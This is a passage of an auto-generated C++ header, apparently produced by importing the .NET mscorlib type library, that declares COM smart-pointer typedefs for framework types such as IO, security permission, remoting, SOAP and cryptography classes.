_COM_SMARTPTR_TYPEDEF(_DefaultCharSetAttribute, __uuidof(_DefaultCharSetAttribute)); _COM_SMARTPTR_TYPEDEF(_SetWin32ContextInIDispatchAttribute, __uuidof(_SetWin32ContextInIDispatchAttribute)); _COM_SMARTPTR_TYPEDEF(_ExternalException, __uuidof(_ExternalException)); _COM_SMARTPTR_TYPEDEF(_COMException, __uuidof(_COMException)); _COM_SMARTPTR_TYPEDEF(_InvalidOleVariantTypeException, __uuidof(_InvalidOleVariantTypeException)); _COM_SMARTPTR_TYPEDEF(_MarshalDirectiveException, __uuidof(_MarshalDirectiveException)); _COM_SMARTPTR_TYPEDEF(_RuntimeEnvironment, __uuidof(_RuntimeEnvironment)); _COM_SMARTPTR_TYPEDEF(_SEHException, __uuidof(_SEHException)); _COM_SMARTPTR_TYPEDEF(_BStrWrapper, __uuidof(_BStrWrapper)); _COM_SMARTPTR_TYPEDEF(_CurrencyWrapper, __uuidof(_CurrencyWrapper)); _COM_SMARTPTR_TYPEDEF(_DispatchWrapper, __uuidof(_DispatchWrapper)); _COM_SMARTPTR_TYPEDEF(_ErrorWrapper, __uuidof(_ErrorWrapper)); _COM_SMARTPTR_TYPEDEF(_ExtensibleClassFactory, __uuidof(_ExtensibleClassFactory)); _COM_SMARTPTR_TYPEDEF(_InvalidComObjectException, __uuidof(_InvalidComObjectException)); _COM_SMARTPTR_TYPEDEF(_ObjectCreationDelegate, __uuidof(_ObjectCreationDelegate)); _COM_SMARTPTR_TYPEDEF(_SafeArrayRankMismatchException, __uuidof(_SafeArrayRankMismatchException)); _COM_SMARTPTR_TYPEDEF(_SafeArrayTypeMismatchException, __uuidof(_SafeArrayTypeMismatchException)); _COM_SMARTPTR_TYPEDEF(_UnknownWrapper, __uuidof(_UnknownWrapper)); _COM_SMARTPTR_TYPEDEF(_TextWriter, __uuidof(_TextWriter)); _COM_SMARTPTR_TYPEDEF(_Stream, __uuidof(_Stream)); _COM_SMARTPTR_TYPEDEF(IServerResponseChannelSinkStack, __uuidof(IServerResponseChannelSinkStack)); _COM_SMARTPTR_TYPEDEF(_BinaryReader, __uuidof(_BinaryReader)); _COM_SMARTPTR_TYPEDEF(_BinaryWriter, __uuidof(_BinaryWriter)); _COM_SMARTPTR_TYPEDEF(_BufferedStream, __uuidof(_BufferedStream)); _COM_SMARTPTR_TYPEDEF(_Directory, __uuidof(_Directory)); _COM_SMARTPTR_TYPEDEF(_FileSystemInfo, __uuidof(_FileSystemInfo)); _COM_SMARTPTR_TYPEDEF(_DirectoryInfo, __uuidof(_DirectoryInfo)); _COM_SMARTPTR_TYPEDEF(_IOException, __uuidof(_IOException)); _COM_SMARTPTR_TYPEDEF(_DirectoryNotFoundException, __uuidof(_DirectoryNotFoundException)); _COM_SMARTPTR_TYPEDEF(_DriveInfo, __uuidof(_DriveInfo)); _COM_SMARTPTR_TYPEDEF(_DriveNotFoundException, __uuidof(_DriveNotFoundException)); _COM_SMARTPTR_TYPEDEF(_EndOfStreamException, __uuidof(_EndOfStreamException)); _COM_SMARTPTR_TYPEDEF(_File, __uuidof(_File)); _COM_SMARTPTR_TYPEDEF(_FileInfo, __uuidof(_FileInfo)); _COM_SMARTPTR_TYPEDEF(_FileLoadException, __uuidof(_FileLoadException)); _COM_SMARTPTR_TYPEDEF(_FileNotFoundException, __uuidof(_FileNotFoundException)); _COM_SMARTPTR_TYPEDEF(_FileStream, __uuidof(_FileStream)); _COM_SMARTPTR_TYPEDEF(_MemoryStream, __uuidof(_MemoryStream)); _COM_SMARTPTR_TYPEDEF(_Path, __uuidof(_Path)); _COM_SMARTPTR_TYPEDEF(_PathTooLongException, __uuidof(_PathTooLongException)); _COM_SMARTPTR_TYPEDEF(_TextReader, __uuidof(_TextReader)); _COM_SMARTPTR_TYPEDEF(_StreamReader, __uuidof(_StreamReader)); _COM_SMARTPTR_TYPEDEF(_StreamWriter, __uuidof(_StreamWriter)); _COM_SMARTPTR_TYPEDEF(_StringReader, __uuidof(_StringReader)); _COM_SMARTPTR_TYPEDEF(_StringWriter, __uuidof(_StringWriter)); _COM_SMARTPTR_TYPEDEF(_AccessedThroughPropertyAttribute, __uuidof(_AccessedThroughPropertyAttribute)); _COM_SMARTPTR_TYPEDEF(_CallConvCdecl, __uuidof(_CallConvCdecl)); _COM_SMARTPTR_TYPEDEF(_CallConvStdcall, __uuidof(_CallConvStdcall)); _COM_SMARTPTR_TYPEDEF(_CallConvThiscall, __uuidof(_CallConvThiscall)); _COM_SMARTPTR_TYPEDEF(_CallConvFastcall, __uuidof(_CallConvFastcall)); _COM_SMARTPTR_TYPEDEF(_CustomConstantAttribute, __uuidof(_CustomConstantAttribute)); _COM_SMARTPTR_TYPEDEF(_DateTimeConstantAttribute, __uuidof(_DateTimeConstantAttribute)); _COM_SMARTPTR_TYPEDEF(_DiscardableAttribute, __uuidof(_DiscardableAttribute)); _COM_SMARTPTR_TYPEDEF(_DecimalConstantAttribute, __uuidof(_DecimalConstantAttribute)); _COM_SMARTPTR_TYPEDEF(_CompilationRelaxationsAttribute, __uuidof(_CompilationRelaxationsAttribute)); _COM_SMARTPTR_TYPEDEF(_CompilerGlobalScopeAttribute, __uuidof(_CompilerGlobalScopeAttribute)); _COM_SMARTPTR_TYPEDEF(_IndexerNameAttribute, __uuidof(_IndexerNameAttribute)); _COM_SMARTPTR_TYPEDEF(_IsVolatile, __uuidof(_IsVolatile)); _COM_SMARTPTR_TYPEDEF(_MethodImplAttribute, __uuidof(_MethodImplAttribute)); _COM_SMARTPTR_TYPEDEF(_RequiredAttributeAttribute, __uuidof(_RequiredAttributeAttribute)); _COM_SMARTPTR_TYPEDEF(_IsCopyConstructed, __uuidof(_IsCopyConstructed)); _COM_SMARTPTR_TYPEDEF(_NativeCppClassAttribute, __uuidof(_NativeCppClassAttribute)); _COM_SMARTPTR_TYPEDEF(_IDispatchConstantAttribute, __uuidof(_IDispatchConstantAttribute)); _COM_SMARTPTR_TYPEDEF(_IUnknownConstantAttribute, __uuidof(_IUnknownConstantAttribute)); _COM_SMARTPTR_TYPEDEF(_SecurityElement, __uuidof(_SecurityElement)); _COM_SMARTPTR_TYPEDEF(ISecurityEncodable, __uuidof(ISecurityEncodable)); _COM_SMARTPTR_TYPEDEF(ISecurityPolicyEncodable, __uuidof(ISecurityPolicyEncodable)); _COM_SMARTPTR_TYPEDEF(_XmlSyntaxException, __uuidof(_XmlSyntaxException)); _COM_SMARTPTR_TYPEDEF(_CodeAccessPermission, __uuidof(_CodeAccessPermission)); _COM_SMARTPTR_TYPEDEF(_EnvironmentPermission, __uuidof(_EnvironmentPermission)); _COM_SMARTPTR_TYPEDEF(_FileDialogPermission, __uuidof(_FileDialogPermission)); _COM_SMARTPTR_TYPEDEF(_FileIOPermission, __uuidof(_FileIOPermission)); _COM_SMARTPTR_TYPEDEF(_SecurityAttribute, __uuidof(_SecurityAttribute)); _COM_SMARTPTR_TYPEDEF(_CodeAccessSecurityAttribute, __uuidof(_CodeAccessSecurityAttribute)); _COM_SMARTPTR_TYPEDEF(_HostProtectionAttribute, __uuidof(_HostProtectionAttribute)); _COM_SMARTPTR_TYPEDEF(_IsolatedStoragePermission, __uuidof(_IsolatedStoragePermission)); _COM_SMARTPTR_TYPEDEF(_IsolatedStorageFilePermission, __uuidof(_IsolatedStorageFilePermission)); _COM_SMARTPTR_TYPEDEF(_EnvironmentPermissionAttribute, __uuidof(_EnvironmentPermissionAttribute)); _COM_SMARTPTR_TYPEDEF(_FileDialogPermissionAttribute, __uuidof(_FileDialogPermissionAttribute)); _COM_SMARTPTR_TYPEDEF(_FileIOPermissionAttribute, __uuidof(_FileIOPermissionAttribute)); _COM_SMARTPTR_TYPEDEF(_KeyContainerPermissionAttribute, __uuidof(_KeyContainerPermissionAttribute)); _COM_SMARTPTR_TYPEDEF(_PrincipalPermissionAttribute, __uuidof(_PrincipalPermissionAttribute)); _COM_SMARTPTR_TYPEDEF(_ReflectionPermissionAttribute, __uuidof(_ReflectionPermissionAttribute)); _COM_SMARTPTR_TYPEDEF(_RegistryPermissionAttribute, __uuidof(_RegistryPermissionAttribute)); _COM_SMARTPTR_TYPEDEF(_SecurityPermissionAttribute, __uuidof(_SecurityPermissionAttribute)); _COM_SMARTPTR_TYPEDEF(_UIPermissionAttribute, __uuidof(_UIPermissionAttribute)); _COM_SMARTPTR_TYPEDEF(_ZoneIdentityPermissionAttribute, __uuidof(_ZoneIdentityPermissionAttribute)); _COM_SMARTPTR_TYPEDEF(_StrongNameIdentityPermissionAttribute, __uuidof(_StrongNameIdentityPermissionAttribute)); _COM_SMARTPTR_TYPEDEF(_SiteIdentityPermissionAttribute, __uuidof(_SiteIdentityPermissionAttribute)); _COM_SMARTPTR_TYPEDEF(_UrlIdentityPermissionAttribute, __uuidof(_UrlIdentityPermissionAttribute)); _COM_SMARTPTR_TYPEDEF(_PublisherIdentityPermissionAttribute, __uuidof(_PublisherIdentityPermissionAttribute)); _COM_SMARTPTR_TYPEDEF(_IsolatedStoragePermissionAttribute, __uuidof(_IsolatedStoragePermissionAttribute)); _COM_SMARTPTR_TYPEDEF(_IsolatedStorageFilePermissionAttribute, __uuidof(_IsolatedStorageFilePermissionAttribute)); _COM_SMARTPTR_TYPEDEF(_PermissionSetAttribute, __uuidof(_PermissionSetAttribute)); _COM_SMARTPTR_TYPEDEF(_ReflectionPermission, __uuidof(_ReflectionPermission)); _COM_SMARTPTR_TYPEDEF(_PrincipalPermission, __uuidof(_PrincipalPermission)); _COM_SMARTPTR_TYPEDEF(_SecurityPermission, __uuidof(_SecurityPermission)); _COM_SMARTPTR_TYPEDEF(_SiteIdentityPermission, __uuidof(_SiteIdentityPermission)); _COM_SMARTPTR_TYPEDEF(_StrongNameIdentityPermission, __uuidof(_StrongNameIdentityPermission)); _COM_SMARTPTR_TYPEDEF(_StrongNamePublicKeyBlob, __uuidof(_StrongNamePublicKeyBlob)); _COM_SMARTPTR_TYPEDEF(_UIPermission, __uuidof(_UIPermission)); _COM_SMARTPTR_TYPEDEF(_UrlIdentityPermission, __uuidof(_UrlIdentityPermission)); _COM_SMARTPTR_TYPEDEF(_ZoneIdentityPermission, __uuidof(_ZoneIdentityPermission)); _COM_SMARTPTR_TYPEDEF(_GacIdentityPermissionAttribute, __uuidof(_GacIdentityPermissionAttribute)); _COM_SMARTPTR_TYPEDEF(_GacIdentityPermission, __uuidof(_GacIdentityPermission)); _COM_SMARTPTR_TYPEDEF(_KeyContainerPermissionAccessEntry, __uuidof(_KeyContainerPermissionAccessEntry)); _COM_SMARTPTR_TYPEDEF(_KeyContainerPermissionAccessEntryCollection, __uuidof(_KeyContainerPermissionAccessEntryCollection)); _COM_SMARTPTR_TYPEDEF(_KeyContainerPermissionAccessEntryEnumerator, __uuidof(_KeyContainerPermissionAccessEntryEnumerator)); _COM_SMARTPTR_TYPEDEF(_KeyContainerPermission, __uuidof(_KeyContainerPermission)); _COM_SMARTPTR_TYPEDEF(_PublisherIdentityPermission, __uuidof(_PublisherIdentityPermission)); _COM_SMARTPTR_TYPEDEF(_RegistryPermission, __uuidof(_RegistryPermission)); _COM_SMARTPTR_TYPEDEF(_SuppressUnmanagedCodeSecurityAttribute, __uuidof(_SuppressUnmanagedCodeSecurityAttribute)); _COM_SMARTPTR_TYPEDEF(_UnverifiableCodeAttribute, __uuidof(_UnverifiableCodeAttribute)); _COM_SMARTPTR_TYPEDEF(_AllowPartiallyTrustedCallersAttribute, __uuidof(_AllowPartiallyTrustedCallersAttribute)); _COM_SMARTPTR_TYPEDEF(_HostSecurityManager, __uuidof(_HostSecurityManager)); _COM_SMARTPTR_TYPEDEF(_PermissionSet, __uuidof(_PermissionSet)); _COM_SMARTPTR_TYPEDEF(_NamedPermissionSet, __uuidof(_NamedPermissionSet)); _COM_SMARTPTR_TYPEDEF(_SecurityException, __uuidof(_SecurityException)); _COM_SMARTPTR_TYPEDEF(_HostProtectionException, __uuidof(_HostProtectionException)); _COM_SMARTPTR_TYPEDEF(_SecurityManager, __uuidof(_SecurityManager)); _COM_SMARTPTR_TYPEDEF(_VerificationException, __uuidof(_VerificationException)); _COM_SMARTPTR_TYPEDEF(_ContextAttribute, __uuidof(_ContextAttribute)); _COM_SMARTPTR_TYPEDEF(_AsyncResult, __uuidof(_AsyncResult)); _COM_SMARTPTR_TYPEDEF(_ChannelServices, __uuidof(_ChannelServices)); _COM_SMARTPTR_TYPEDEF(_ClientChannelSinkStack, __uuidof(_ClientChannelSinkStack)); _COM_SMARTPTR_TYPEDEF(_ServerChannelSinkStack, __uuidof(_ServerChannelSinkStack)); _COM_SMARTPTR_TYPEDEF(_ClientSponsor, __uuidof(_ClientSponsor)); _COM_SMARTPTR_TYPEDEF(_CrossContextDelegate, __uuidof(_CrossContextDelegate)); _COM_SMARTPTR_TYPEDEF(_Context, __uuidof(_Context)); _COM_SMARTPTR_TYPEDEF(IContextProperty, __uuidof(IContextProperty)); _COM_SMARTPTR_TYPEDEF(_ContextProperty, __uuidof(_ContextProperty)); _COM_SMARTPTR_TYPEDEF(_EnterpriseServicesHelper, __uuidof(_EnterpriseServicesHelper)); _COM_SMARTPTR_TYPEDEF(_ChannelDataStore, __uuidof(_ChannelDataStore)); _COM_SMARTPTR_TYPEDEF(_TransportHeaders, __uuidof(_TransportHeaders)); _COM_SMARTPTR_TYPEDEF(_SinkProviderData, __uuidof(_SinkProviderData)); _COM_SMARTPTR_TYPEDEF(_BaseChannelObjectWithProperties, __uuidof(_BaseChannelObjectWithProperties)); _COM_SMARTPTR_TYPEDEF(_BaseChannelSinkWithProperties, __uuidof(_BaseChannelSinkWithProperties)); _COM_SMARTPTR_TYPEDEF(_BaseChannelWithProperties, __uuidof(_BaseChannelWithProperties)); _COM_SMARTPTR_TYPEDEF(_LifetimeServices, __uuidof(_LifetimeServices)); _COM_SMARTPTR_TYPEDEF(_ReturnMessage, __uuidof(_ReturnMessage)); _COM_SMARTPTR_TYPEDEF(_MethodCall, __uuidof(_MethodCall)); _COM_SMARTPTR_TYPEDEF(_ConstructionCall, __uuidof(_ConstructionCall)); _COM_SMARTPTR_TYPEDEF(_MethodResponse, __uuidof(_MethodResponse)); _COM_SMARTPTR_TYPEDEF(_ConstructionResponse, __uuidof(_ConstructionResponse)); _COM_SMARTPTR_TYPEDEF(_InternalMessageWrapper, __uuidof(_InternalMessageWrapper)); _COM_SMARTPTR_TYPEDEF(_MethodCallMessageWrapper, __uuidof(_MethodCallMessageWrapper)); _COM_SMARTPTR_TYPEDEF(_MethodReturnMessageWrapper, __uuidof(_MethodReturnMessageWrapper)); _COM_SMARTPTR_TYPEDEF(_ObjRef, __uuidof(_ObjRef)); _COM_SMARTPTR_TYPEDEF(ITrackingHandler, __uuidof(ITrackingHandler)); _COM_SMARTPTR_TYPEDEF(_OneWayAttribute, __uuidof(_OneWayAttribute)); _COM_SMARTPTR_TYPEDEF(_ProxyAttribute, __uuidof(_ProxyAttribute)); _COM_SMARTPTR_TYPEDEF(_RealProxy, __uuidof(_RealProxy)); _COM_SMARTPTR_TYPEDEF(_SoapAttribute, __uuidof(_SoapAttribute)); _COM_SMARTPTR_TYPEDEF(_SoapTypeAttribute, __uuidof(_SoapTypeAttribute)); _COM_SMARTPTR_TYPEDEF(_SoapMethodAttribute, __uuidof(_SoapMethodAttribute)); _COM_SMARTPTR_TYPEDEF(_SoapFieldAttribute, __uuidof(_SoapFieldAttribute)); _COM_SMARTPTR_TYPEDEF(_SoapParameterAttribute, __uuidof(_SoapParameterAttribute)); _COM_SMARTPTR_TYPEDEF(_RemotingConfiguration, __uuidof(_RemotingConfiguration)); _COM_SMARTPTR_TYPEDEF(_TypeEntry, __uuidof(_TypeEntry)); _COM_SMARTPTR_TYPEDEF(_ActivatedClientTypeEntry, __uuidof(_ActivatedClientTypeEntry)); _COM_SMARTPTR_TYPEDEF(_ActivatedServiceTypeEntry, __uuidof(_ActivatedServiceTypeEntry)); _COM_SMARTPTR_TYPEDEF(_WellKnownClientTypeEntry, __uuidof(_WellKnownClientTypeEntry)); _COM_SMARTPTR_TYPEDEF(_WellKnownServiceTypeEntry, __uuidof(_WellKnownServiceTypeEntry)); _COM_SMARTPTR_TYPEDEF(_RemotingException, __uuidof(_RemotingException)); _COM_SMARTPTR_TYPEDEF(_ServerException, __uuidof(_ServerException)); _COM_SMARTPTR_TYPEDEF(_RemotingTimeoutException, __uuidof(_RemotingTimeoutException)); _COM_SMARTPTR_TYPEDEF(_RemotingServices, __uuidof(_RemotingServices)); _COM_SMARTPTR_TYPEDEF(_InternalRemotingServices, __uuidof(_InternalRemotingServices)); _COM_SMARTPTR_TYPEDEF(_MessageSurrogateFilter, __uuidof(_MessageSurrogateFilter)); _COM_SMARTPTR_TYPEDEF(_RemotingSurrogateSelector, __uuidof(_RemotingSurrogateSelector)); _COM_SMARTPTR_TYPEDEF(_SoapServices, __uuidof(_SoapServices)); _COM_SMARTPTR_TYPEDEF(_SoapDateTime, __uuidof(_SoapDateTime)); _COM_SMARTPTR_TYPEDEF(_SoapDuration, __uuidof(_SoapDuration)); _COM_SMARTPTR_TYPEDEF(_SoapTime, __uuidof(_SoapTime)); _COM_SMARTPTR_TYPEDEF(_SoapDate, __uuidof(_SoapDate)); _COM_SMARTPTR_TYPEDEF(_SoapYearMonth, __uuidof(_SoapYearMonth)); _COM_SMARTPTR_TYPEDEF(_SoapYear, __uuidof(_SoapYear)); _COM_SMARTPTR_TYPEDEF(_SoapMonthDay, __uuidof(_SoapMonthDay)); _COM_SMARTPTR_TYPEDEF(_SoapDay, __uuidof(_SoapDay)); _COM_SMARTPTR_TYPEDEF(_SoapMonth, __uuidof(_SoapMonth)); _COM_SMARTPTR_TYPEDEF(_SoapHexBinary, __uuidof(_SoapHexBinary)); _COM_SMARTPTR_TYPEDEF(_SoapBase64Binary, __uuidof(_SoapBase64Binary)); _COM_SMARTPTR_TYPEDEF(_SoapInteger, __uuidof(_SoapInteger)); _COM_SMARTPTR_TYPEDEF(_SoapPositiveInteger, __uuidof(_SoapPositiveInteger)); _COM_SMARTPTR_TYPEDEF(_SoapNonPositiveInteger, __uuidof(_SoapNonPositiveInteger)); _COM_SMARTPTR_TYPEDEF(_SoapNonNegativeInteger, __uuidof(_SoapNonNegativeInteger)); _COM_SMARTPTR_TYPEDEF(_SoapNegativeInteger, __uuidof(_SoapNegativeInteger)); _COM_SMARTPTR_TYPEDEF(_SoapAnyUri, __uuidof(_SoapAnyUri)); _COM_SMARTPTR_TYPEDEF(_SoapQName, __uuidof(_SoapQName)); _COM_SMARTPTR_TYPEDEF(_SoapNotation, __uuidof(_SoapNotation)); _COM_SMARTPTR_TYPEDEF(_SoapNormalizedString, __uuidof(_SoapNormalizedString)); _COM_SMARTPTR_TYPEDEF(_SoapToken, __uuidof(_SoapToken)); _COM_SMARTPTR_TYPEDEF(_SoapLanguage, __uuidof(_SoapLanguage)); _COM_SMARTPTR_TYPEDEF(_SoapName, __uuidof(_SoapName)); _COM_SMARTPTR_TYPEDEF(_SoapIdrefs, __uuidof(_SoapIdrefs)); _COM_SMARTPTR_TYPEDEF(_SoapEntities, __uuidof(_SoapEntities)); _COM_SMARTPTR_TYPEDEF(_SoapNmtoken, __uuidof(_SoapNmtoken)); _COM_SMARTPTR_TYPEDEF(_SoapNmtokens, __uuidof(_SoapNmtokens)); _COM_SMARTPTR_TYPEDEF(_SoapNcName, __uuidof(_SoapNcName)); _COM_SMARTPTR_TYPEDEF(_SoapId, __uuidof(_SoapId)); _COM_SMARTPTR_TYPEDEF(_SoapIdref, __uuidof(_SoapIdref)); _COM_SMARTPTR_TYPEDEF(_SoapEntity, __uuidof(_SoapEntity)); _COM_SMARTPTR_TYPEDEF(_SynchronizationAttribute, __uuidof(_SynchronizationAttribute)); _COM_SMARTPTR_TYPEDEF(_TrackingServices, __uuidof(_TrackingServices)); _COM_SMARTPTR_TYPEDEF(_UrlAttribute, __uuidof(_UrlAttribute)); _COM_SMARTPTR_TYPEDEF(_Header, __uuidof(_Header)); _COM_SMARTPTR_TYPEDEF(_HeaderHandler, __uuidof(_HeaderHandler)); _COM_SMARTPTR_TYPEDEF(IRemotingFormatter, __uuidof(IRemotingFormatter)); _COM_SMARTPTR_TYPEDEF(_CallContext, __uuidof(_CallContext)); _COM_SMARTPTR_TYPEDEF(_LogicalCallContext, __uuidof(_LogicalCallContext)); _COM_SMARTPTR_TYPEDEF(_IsolatedStorage, __uuidof(_IsolatedStorage)); _COM_SMARTPTR_TYPEDEF(_IsolatedStorageFileStream, __uuidof(_IsolatedStorageFileStream)); _COM_SMARTPTR_TYPEDEF(_IsolatedStorageException, __uuidof(_IsolatedStorageException)); _COM_SMARTPTR_TYPEDEF(_IsolatedStorageFile, __uuidof(_IsolatedStorageFile)); _COM_SMARTPTR_TYPEDEF(_InternalRM, __uuidof(_InternalRM)); _COM_SMARTPTR_TYPEDEF(_InternalST, __uuidof(_InternalST)); _COM_SMARTPTR_TYPEDEF(_SoapMessage, __uuidof(_SoapMessage)); _COM_SMARTPTR_TYPEDEF(_SoapFault, __uuidof(_SoapFault)); _COM_SMARTPTR_TYPEDEF(_ServerFault, __uuidof(_ServerFault)); _COM_SMARTPTR_TYPEDEF(_BinaryFormatter, __uuidof(_BinaryFormatter)); _COM_SMARTPTR_TYPEDEF(_DynamicILInfo, __uuidof(_DynamicILInfo)); _COM_SMARTPTR_TYPEDEF(_DynamicMethod, __uuidof(_DynamicMethod)); _COM_SMARTPTR_TYPEDEF(_OpCodes, __uuidof(_OpCodes)); _COM_SMARTPTR_TYPEDEF(_GenericTypeParameterBuilder, __uuidof(_GenericTypeParameterBuilder)); _COM_SMARTPTR_TYPEDEF(_UnmanagedMarshal, __uuidof(_UnmanagedMarshal)); _COM_SMARTPTR_TYPEDEF(_KeySizes, __uuidof(_KeySizes)); _COM_SMARTPTR_TYPEDEF(_CryptographicException, __uuidof(_CryptographicException)); _COM_SMARTPTR_TYPEDEF(_CryptographicUnexpectedOperationException, __uuidof(_CryptographicUnexpectedOperationException)); _COM_SMARTPTR_TYPEDEF(_RandomNumberGenerator, __uuidof(_RandomNumberGenerator)); _COM_SMARTPTR_TYPEDEF(_RNGCryptoServiceProvider, __uuidof(_RNGCryptoServiceProvider)); _COM_SMARTPTR_TYPEDEF(_SymmetricAlgorithm, __uuidof(_SymmetricAlgorithm)); _COM_SMARTPTR_TYPEDEF(_AsymmetricAlgorithm, __uuidof(_AsymmetricAlgorithm)); _COM_SMARTPTR_TYPEDEF(_AsymmetricKeyExchangeDeformatter, __uuidof(_AsymmetricKeyExchangeDeformatter)); _COM_SMARTPTR_TYPEDEF(_AsymmetricKeyExchangeFormatter, __uuidof(_AsymmetricKeyExchangeFormatter)); _COM_SMARTPTR_TYPEDEF(_AsymmetricSignatureDeformatter, __uuidof(_AsymmetricSignatureDeformatter)); _COM_SMARTPTR_TYPEDEF(_AsymmetricSignatureFormatter, __uuidof(_AsymmetricSignatureFormatter)); _COM_SMARTPTR_TYPEDEF(_ToBase64Transform, __uuidof(_ToBase64Transform)); _COM_SMARTPTR_TYPEDEF(_FromBase64Transform, __uuidof(_FromBase64Transform)); _COM_SMARTPTR_TYPEDEF(_CryptoAPITransform, __uuidof(_CryptoAPITransform)); _COM_SMARTPTR_TYPEDEF(_CspParameters, __uuidof(_CspParameters)); _COM_SMARTPTR_TYPEDEF(_CryptoConfig, __uuidof(_CryptoConfig)); _COM_SMARTPTR_TYPEDEF(_CryptoStream, __uuidof(_CryptoStream)); _COM_SMARTPTR_TYPEDEF(_DES, __uuidof(_DES)); _COM_SMARTPTR_TYPEDEF(_DESCryptoServiceProvider, __uuidof(_DESCryptoServiceProvider)); _COM_SMARTPTR_TYPEDEF(_DeriveBytes, __uuidof(_DeriveBytes)); _COM_SMARTPTR_TYPEDEF(_DSA, __uuidof(_DSA)); _COM_SMARTPTR_TYPEDEF(_DSACryptoServiceProvider, __uuidof(_DSACryptoServiceProvider)); _COM_SMARTPTR_TYPEDEF(_DSASignatureDeformatter, __uuidof(_DSASignatureDeformatter)); _COM_SMARTPTR_TYPEDEF(_DSASignatureFormatter, __uuidof(_DSASignatureFormatter)); _COM_SMARTPTR_TYPEDEF(_HashAlgorithm, __uuidof(_HashAlgorithm)); _COM_SMARTPTR_TYPEDEF(_KeyedHashAlgorithm, __uuidof(_KeyedHashAlgorithm)); _COM_SMARTPTR_TYPEDEF(_HMAC, __uuidof(_HMAC)); _COM_SMARTPTR_TYPEDEF(_HMACMD5, __uuidof(_HMACMD5)); _COM_SMARTPTR_TYPEDEF(_HMACRIPEMD160, __uuidof(_HMACRIPEMD160)); _COM_SMARTPTR_TYPEDEF(_HMACSHA1, __uuidof(_HMACSHA1)); _COM_SMARTPTR_TYPEDEF(_HMACSHA256, __uuidof(_HMACSHA256)); _COM_SMARTPTR_TYPEDEF(_HMACSHA384, __uuidof(_HMACSHA384)); _COM_SMARTPTR_TYPEDEF(_HMACSHA512, __uuidof(_HMACSHA512)); _COM_SMARTPTR_TYPEDEF(_CspKeyContainerInfo, __uuidof(_CspKeyContainerInfo)); _COM_SMARTPTR_TYPEDEF(ICspAsymmetricAlgorithm, __uuidof(ICspAsymmetricAlgorithm)); _COM_SMARTPTR_TYPEDEF(_MACTripleDES, __uuidof(_MACTripleDES)); _COM_SMARTPTR_TYPEDEF(_MD5, __uuidof(_MD5)); _COM_SMARTPTR_TYPEDEF(_MD5CryptoServiceProvider, __uuidof(_MD5CryptoServiceProvider)); _COM_SMARTPTR_TYPEDEF(_MaskGenerationMethod, __uuidof(_MaskGenerationMethod)); _COM_SMARTPTR_TYPEDEF(_PasswordDeriveBytes, __uuidof(_PasswordDeriveBytes)); _COM_SMARTPTR_TYPEDEF(_PKCS1MaskGenerationMethod, __uuidof(_PKCS1MaskGenerationMethod)); _COM_SMARTPTR_TYPEDEF(_RC2, __uuidof(_RC2)); _COM_SMARTPTR_TYPEDEF(_RC2CryptoServiceProvider, __uuidof(_RC2CryptoServiceProvider)); _COM_SMARTPTR_TYPEDEF(_Rfc2898DeriveBytes, __uuidof(_Rfc2898DeriveBytes)); _COM_SMARTPTR_TYPEDEF(_RIPEMD160, __uuidof(_RIPEMD160)); _COM_SMARTPTR_TYPEDEF(_RIPEMD160Managed, __uuidof(_RIPEMD160Managed)); _COM_SMARTPTR_TYPEDEF(_RSA, __uuidof(_RSA)); _COM_SMARTPTR_TYPEDEF(_RSACryptoServiceProvider, __uuidof(_RSACryptoServiceProvider)); _COM_SMARTPTR_TYPEDEF(_RSAOAEPKeyExchangeDeformatter, __uuidof(_RSAOAEPKeyExchangeDeformatter)); _COM_SMARTPTR_TYPEDEF(_RSAOAEPKeyExchangeFormatter, __uuidof(_RSAOAEPKeyExchangeFormatter)); _COM_SMARTPTR_TYPEDEF(_RSAPKCS1KeyExchangeDeformatter, __uuidof(_RSAPKCS1KeyExchangeDeformatter)); _COM_SMARTPTR_TYPEDEF(_RSAPKCS1KeyExchangeFormatter, __uuidof(_RSAPKCS1KeyExchangeFormatter)); _COM_SMARTPTR_TYPEDEF(_RSAPKCS1SignatureDeformatter, __uuidof(_RSAPKCS1SignatureDeformatter)); _COM_SMARTPTR_TYPEDEF(_RSAPKCS1SignatureFormatter, __uuidof(_RSAPKCS1SignatureFormatter)); _COM_SMARTPTR_TYPEDEF(_Rijndael, __uuidof(_Rijndael)); _COM_SMARTPTR_TYPEDEF(_RijndaelManaged, __uuidof(_RijndaelManaged)); _COM_SMARTPTR_TYPEDEF(_RijndaelManagedTransform, __uuidof(_RijndaelManagedTransform)); _COM_SMARTPTR_TYPEDEF(_SHA1, __uuidof(_SHA1)); _COM_SMARTPTR_TYPEDEF(_SHA1CryptoServiceProvider, __uuidof(_SHA1CryptoServiceProvider)); _COM_SMARTPTR_TYPEDEF(_SHA1Managed, __uuidof(_SHA1Managed)); _COM_SMARTPTR_TYPEDEF(_SHA256, __uuidof(_SHA256)); _COM_SMARTPTR_TYPEDEF(_SHA256Managed, __uuidof(_SHA256Managed)); _COM_SMARTPTR_TYPEDEF(_SHA384, __uuidof(_SHA384)); _COM_SMARTPTR_TYPEDEF(_SHA384Managed, __uuidof(_SHA384Managed)); _COM_SMARTPTR_TYPEDEF(_SHA512, __uuidof(_SHA512)); _COM_SMARTPTR_TYPEDEF(_SHA512Managed, __uuidof(_SHA512Managed)); _COM_SMARTPTR_TYPEDEF(_SignatureDescription, __uuidof(_SignatureDescription)); _COM_SMARTPTR_TYPEDEF(_TripleDES, __uuidof(_TripleDES)); _COM_SMARTPTR_TYPEDEF(_TripleDESCryptoServiceProvider, __uuidof(_TripleDESCryptoServiceProvider)); _COM_SMARTPTR_TYPEDEF(_X509Certificate, __uuidof(_X509Certificate)); _COM_SMARTPTR_TYPEDEF(_Exception, __uuidof(_Exception)); _COM_SMARTPTR_TYPEDEF(IClientResponseChannelSinkStack, __uuidof(IClientResponseChannelSinkStack)); _COM_SMARTPTR_TYPEDEF(IMethodReturnMessage, __uuidof(IMethodReturnMessage)); _COM_SMARTPTR_TYPEDEF(IFormattable, __uuidof(IFormattable)); _COM_SMARTPTR_TYPEDEF(IConvertible, __uuidof(IConvertible)); _COM_SMARTPTR_TYPEDEF(_AppDomain, __uuidof(_AppDomain)); _COM_SMARTPTR_TYPEDEF(ICustomFormatter, __uuidof(ICustomFormatter)); _COM_SMARTPTR_TYPEDEF(IFormatProvider, __uuidof(IFormatProvider)); _COM_SMARTPTR_TYPEDEF(ICustomAttributeProvider, __uuidof(ICustomAttributeProvider)); _COM_SMARTPTR_TYPEDEF(_MemberInfo, __uuidof(_MemberInfo)); _COM_SMARTPTR_TYPEDEF(_Type, __uuidof(_Type)); _COM_SMARTPTR_TYPEDEF(IFormatterConverter, 